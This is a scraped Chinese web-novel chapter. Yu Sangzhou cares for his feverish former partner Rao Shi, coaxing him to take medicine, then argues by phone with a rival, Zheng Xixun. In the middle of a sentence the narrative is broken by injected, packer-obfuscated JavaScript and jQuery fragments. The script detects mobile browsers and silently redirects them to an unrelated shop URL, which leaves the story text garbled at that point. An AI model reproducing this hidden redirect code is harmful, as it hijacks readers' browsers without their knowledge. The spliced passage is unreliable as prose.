63. 最好的饶时

作品:《前任婚事我做主

    饶时肯定是烧糊涂了。


    体温计上显示的温度告诉于桑洲,这人的体温已经快四十度了。


    饶时现在大概正处于就算睁着眼都跟做梦似的状态。


    于桑洲将退烧药喂进饶时嘴里,他立马皱眉给药呸了出去。


    “是药,”于桑洲无奈地捏着饶时脸颊,稍微用了些力气,将他的嘴捏得噘起来,逮着机会又把药喂了进去,“吃完药就不会难受了,别犟。”


    饶时再次将药一口呸出去。


    于桑洲深呼吸好几次,在心里默念:不能生气不能生气。


    他又将药拿着在饶时眼前晃了晃:“你看啊,这是退烧药,吃完就能好。要是你不吃这个药,那可就便宜我了,我马上就喂进自己嘴里,那你可就没得吃了。”


    饶时竟然还犹豫了一会儿,似乎在认真思考这句话的真假。


    他最后还是张开嘴,沉默着吃了药,顺带着喝了半杯水。


    于桑洲这也算是连哄带骗地让他把药给吃了。


    也不知道饶时是怎么能烧成这样的,就跟把智商都烧没了一样。


    “饶时,我喂你吃点东西,”于桑洲将外卖买的粥端来,舀起一勺吹了吹,“你躺着吃还是坐起来?”


    “我不吃,”饶时说,“我就想睡觉。”


    “不吃不行。”于桑洲拿起勺子朝饶时嘴边怼了怼,饶时发出不耐烦的声音,张嘴喝了下去。


    于桑洲夸道:“诶太棒了,怎么吃得这么棒啊,再来一口。”


    饶时还真吃这一套。


    于桑洲夸个不停,他也越吃越带劲。


    “这点吃完了我们去医院看看,”于桑洲拿着勺子碰了碰饶时嘴边,“啊——张嘴。”


    “要睡觉了。”饶时说。


    “可你已经烧糊涂了。”于桑洲又探了探他的额温。


    摸不出来体温的变化。


    但于桑洲能摸出来,饶时肯定没有退烧。


    现在的饶时比于际都不讲道理,于桑洲只能哄着。


    他将粥搁到床头柜上,耐心地重复道:“吃点儿,再吃一点才有力气,把最后一点儿吃完,我开车带着你去医院看病。”


    饶时依旧闭着嘴,于桑洲伸手点了点他的嘴角,偏偏这人故意装作感受不到。


    于桑洲也是没了办法,他干脆板着一张脸,准备吓一吓饶时。


    “你再不吃,我就揍你了。”


    这句话于桑洲常说,但都是以前用来吓于际的。


    他也没想到这句话还能有机会用在饶时身上。


    于桑洲说这句话的时候是挺严肃的,但能听出来是用的吓唬小孩儿的语气。


    因为在他说的时候,自己都没忍住笑了。


    饶时眨了眨眼,像是在确认眼前的人到底是谁。


    直到他叫了一声:“于桑洲。”


    于桑洲“嗯”了声。


    他猜着饶时下一句一定会是让他滚,滚之前还得问问他是怎么进门的。


    毕竟饶时也就是个烧糊涂,不是脸盲不认人,更不是喝醉闹情绪。


    他但凡费点脑子认真看两眼,都不至于拖到现在才看清楚。


    但于桑洲还挺庆幸,自己好歹还在这儿待了会儿,退烧药也被顺利喂进饶时嘴里。


    但于桑洲想错了,饶时没让他滚。


    饶时撑着床边坐起来,冲身边的于桑洲勾了勾手。


    就这么简单的动作,他做出来却像是费了不少劲。


    勾手两次,饶时的呼吸也开始急促。


    他烧得眼眶都是红的,于桑洲光是看着都觉得眼睛疼。


    他替饶时将额前和后脑勺的头发顺了顺,问道:“终于想通了?我们起床去医院?”


    “你别再打我了。”饶时说出这么一句。


    于桑洲听清楚了,但他还是问了句:“什么?”


    饶时说:“别打我。”


    “明明每次都是你先打我的,”于桑洲笑得有些鼻酸,他说,“饶时,你不能耍赖。”


    “不去医院,”饶时又盯着他看,最后像是懒得再管,干脆躺下去又缩进被窝里,“我不想去,睡一觉醒来就好了。”


    于桑洲替他掖了掖被角,又伸手朝他额头贴了贴。


    摸了半天也没摸出个准确数字来。


    于桑洲拿起温度计甩了甩,准备扯开被子把体温计夹到饶时腋下。


    于桑洲扯,饶时夺。


    于桑洲“啧”一声,饶时只当听不见。


    “量体温,”于桑洲用了点劲儿,终于将体温计送到饶时腋下老实待着,于桑洲按着他胳膊,问道,“现在都快天黑了,你从早上到现在一直都在睡觉?”


    “嗯……”饶时闭上眼睛,“现在几点了?”


    “快要七点了,”于桑洲问他,“你手机呢,放哪儿去了?我上午给你打了好几个电话,你都没接。”


    饶时又要动起来,于桑洲立马喊停:“你说个位置,我去拿就行,”他放开按住饶时胳膊的手,提醒道,“听话点,别动,不然又要量一次。”


    饶时伸长腿在床上画弧形,于桑洲坐在床边看着他伸腿划拉。


    也不知道这个人是不是故意的,划拉好几次都偏了位置,踹得于桑洲屁股生疼。


    “找什么呢……”于桑洲按住他脚踝,扯过被子盖上。


    “找手机,”饶时又蜷缩起来,“没找着。”


    于桑洲抬头向周围看了一圈,也没看见手机在哪个地方。


    房间里只有一盏床头吊灯亮着。


    灯光不太亮。


    这盏灯还是于桑洲打开的。


    他来的时候屋里窗帘都紧闭着,压根看不清床上有没有人。


    于桑洲一开始按错两次,全都开的大灯,灯光刺眼。


    可饶时就算皱起眉,也没有要睁眼的意思。


    后来终于按对了,吊灯亮起的一瞬间,饶时翻了个身,但没再皱着眉。


    于桑洲那个时候才敢坐在床边好好看一看饶时。


    灯光虽然不太亮,但已经足够将这个人看清楚。


    更何况饶时睡觉的样子他已经看过太多次,虽然都是在三年前,但那些画面早已刻在他脑子里。


    尽管饶时躺的位置不是照明最好的地方,但那些阴影模糊部分都会在于桑洲脑子里被自动修复再清晰画质,最后成为最好的饶时。


    饶时干呕一下,翻了个身盯着那盏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724205|144925||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吊灯看。


    “啊——我想起来了,”饶时眨了眨眼,“是不是在客厅,沙发缝里,或者你看看是不是在冰箱里面。”


    “怎么会在冰箱里面……”于桑洲抬起饶时胳膊,将体温计拿出来看,“还是发烧,我先去给你找手机,你躺着别动。”


    “你顺便帮我看看有没有什么未读消息,”饶时闭上眼说道,“我实在是有点晕。”


    于桑洲看着饶时将被子裹得更紧,他在心里想着,要不还是给饶时直接扛走。


    去医院肯定比在家里耗着要强。


    他推开房门走出去,客厅里面已经变得昏暗,于桑洲将灯打开,先去沙发那里找了一遍。


    别说什么沙发缝了,就连沙发底下都没有出现手机的影子。


    冰箱里更是没有,每一层都没有。


    于桑洲刚关上冰箱门,一个回头,视线朝下,他看见饶时的手机正躺在那个平底锅里。


    他刚把手机拿起来,屏幕就亮了起来。


    来电人是郑西寻。


    于桑洲没打算接,他看着电话挂断,在他准备进房间的时候,郑西寻又打了过来。


    “饶时,”于桑洲拿着手机走进去,坐到床边点了点饶时后脑勺,“接电话。”


    饶时将手从被子里拿出来,无力地摆了摆。


    于桑洲看着电话挂断,没过一会儿,屏幕上又蹦出那三个字。


    “那我接了。”于桑洲又点了点饶时后脑勺,这人没再搭理他。


    电话终于被接通,郑西寻说的第一句话就是:“饶时,你在家吗?”


    “在的。”于桑洲说。


    “我能来吗?我马上就到,你今天一整天都没回消息,我有些担心。”郑西寻说。


    于桑洲露出有些嫌弃的表情,他看向床上睡着的人,说道:“不用来了,他已经睡了,你也回去洗洗睡吧。”


    郑西寻那边瞬间安静得不行。


    随后,这人的脑子大概是终于转了过来,他问道:“你是于桑洲?”


    “不然呢?”于桑洲笑着说。


    郑西寻问:“你为什么会在他家?”


    “别管这么多,”于桑洲说,“他现在睡着了,没空接电话,没事就挂了。”


    “于桑洲!”郑西寻此刻的反应和他在饶时面前简直判若两人,“我拜托你离他远一些,你是嫌自己害他还不够吗,他现在过得很好,压根就不需要你的爱,你别再和饶时扯在一起了。”


    不得不承认的是,郑西寻那句“不需要你的爱”确实给于桑洲堵得心里发慌。


    郑西寻怎么说也算是情敌。


    这句话从他嘴里说出来,于桑洲是怎么听怎么不对劲,越琢磨越闹心。


    “我和饶时的关系还轮不到你来说。”于桑洲真想告诉郑西寻,饶时今天亲口说出自己已经不喜欢他了。


    但于桑洲知道,饶时那个时候已经烧到糊涂得不行,说话没什么可信度,可他还是挺想呛一下郑西寻的。


    “你们什么关系,我为什么不能说?”郑西寻却比他先开口。


    “什么关系?”于桑洲摸了摸饶时的额头,又在他的右耳垂上捏了捏,“是你永远都不会拥有的关系。”